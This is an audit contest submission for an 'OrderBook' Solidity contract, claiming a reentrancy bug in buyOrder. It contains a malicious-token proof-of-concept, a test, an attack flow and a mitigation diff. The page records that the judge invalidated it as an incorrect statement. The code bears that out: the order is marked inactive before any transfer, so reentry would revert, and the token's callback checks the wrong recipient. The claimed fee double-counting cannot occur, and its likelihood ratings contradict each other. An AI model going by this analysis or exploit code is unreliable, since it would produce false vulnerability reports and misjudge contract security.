OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: low
Invalid

Reentrancy Vulnerability in `buyOrder` Function

Reentrancy Vulnerability in buyOrder Function

Description

The buyOrder function allows users to purchase sell orders by transferring USDC to the seller and receiving the listed tokens. The function performs token transfers before updating the contract state, specifically the totalFees variable, which violates the Checks-Effects-Interactions (CEI) pattern.

The function transfers tokens to/from the contract before updating the totalFees state, allowing malicious tokens with callback mechanisms to reenter the function and manipulate the fee accounting.

// Root cause in the codebase with @> marks to highlight the relevant section
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
// @> PROBLEM: Transferencias ANTES de actualizar totalFees
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
// @> Estado se actualiza DESPUÉS de transferencias
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}

Risk

Likelihood:

  • Low - Any token with callback mechanisms (ERC-777, custom tokens with hooks) can trigger reentrancy when whitelisted via setAllowedSellToken, if Owner is hacked

  • Medium - The function is publicly accessible and can be called by any user to fill orders

Impact:

  • Double-counting of protocol fees through reentrancy attacks

  • Manipulation of fee accounting leading to incorrect totalFees tracking

  • Potential loss of protocol revenue through fee extraction exploits

Proof of Concept

This PoC demonstrates how a malicious token can exploit the reentrancy vulnerability in buyOrder. The malicious token implements callback mechanisms that trigger when tokens are transferred, allowing it to reenter the function before totalFees is updated. This can lead to double-counting of fees and manipulation of the protocol's revenue tracking.

// Malicious token with reentrancy capability
contract MaliciousToken {
OrderBook public orderBook;
bool public reentered = false;
uint256 public orderId;
constructor(address _orderBook) {
orderBook = OrderBook(_orderBook);
}
function transfer(address to, uint256 amount) external returns (bool) {
if (!reentered && to == address(orderBook)) {
reentered = true;
// Reenter the buyOrder function before totalFees is updated
orderBook.buyOrder(orderId);
}
return true;
}
function setOrderId(uint256 _orderId) external {
orderId = _orderId;
}
}
// Test demonstrating the vulnerability
function test_buyOrder_reentrancy() public {
// Setup malicious token
MaliciousToken maliciousToken = new MaliciousToken(address(book));
// Whitelist the malicious token
vm.prank(owner);
book.setAllowedSellToken(address(maliciousToken), true);
// Create order with malicious token
vm.startPrank(alice);
uint256 orderId = book.createSellOrder(address(maliciousToken), 1000, 200000, 1 days);
maliciousToken.setOrderId(orderId);
vm.stopPrank();
// Record initial fees
uint256 initialFees = book.totalFees();
// Attempt to buy the order - this will trigger reentrancy
vm.startPrank(bob);
usdc.approve(address(book), 200000);
book.buyOrder(orderId);
vm.stopPrank();
// Check that fees were double-counted due to reentrancy
uint256 finalFees = book.totalFees();
uint256 expectedFees = initialFees + (200000 * 3 / 100); // 3% fee
// The malicious token caused fees to be counted multiple times
require(finalFees > expectedFees, "Fees should be double-counted due to reentrancy");
}

Attack Flow:

  1. Attacker deploys malicious token with callback mechanisms

  2. Owner whitelists the malicious token via setAllowedSellToken

  3. Attacker creates a sell order with the malicious token

  4. When buyOrder is called, the malicious token's callback triggers during safeTransfer

  5. Callback reenters buyOrder before totalFees is updated

  6. This causes totalFees to be incremented multiple times for the same transaction

Recommended Mitigation

The fix follows the Checks-Effects-Interactions (CEI) pattern by updating the state before performing external calls. This prevents reentrancy attacks and ensures accurate fee accounting. The key changes are:

  1. Move state updates before transfers - Update totalFees and order state first

  2. Use nonReentrant modifier - Add additional protection against reentrancy

  3. Validate token contracts - Improve setAllowedSellToken to validate ERC20 compliance

function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
- order.isActive = false;
- uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
- uint256 sellerReceives = order.priceInUSDC - protocolFee;
-
- iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
- iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
- IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
- totalFees += protocolFee;
+ // Update state FIRST (Effects) - This prevents reentrancy
+ order.isActive = false;
+ uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
+ uint256 sellerReceives = order.priceInUSDC - protocolFee;
+ totalFees += protocolFee;
+
+ // Then perform transfers (Interactions) - External calls after state updates
+ iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
+ iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
+ IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
emit OrderFilled(_orderId, msg.sender, order.seller);
}
+ // Additional protection: Add nonReentrant modifier
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+ contract OrderBook is ReentrancyGuard {
+ function buyOrder(uint256 _orderId) public nonReentrant {
+ // ... implementation
+ }
+ }

Additional Recommendations:

  1. Improve token validation in setAllowedSellToken to check for callback mechanisms

  2. Add comprehensive testing for reentrancy scenarios with malicious tokens

  3. Consider using pull-over-push pattern for token transfers

  4. Implement emergency pause functionality for critical functions

  5. Add fee tracking events to monitor for unusual fee accumulation patterns

Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.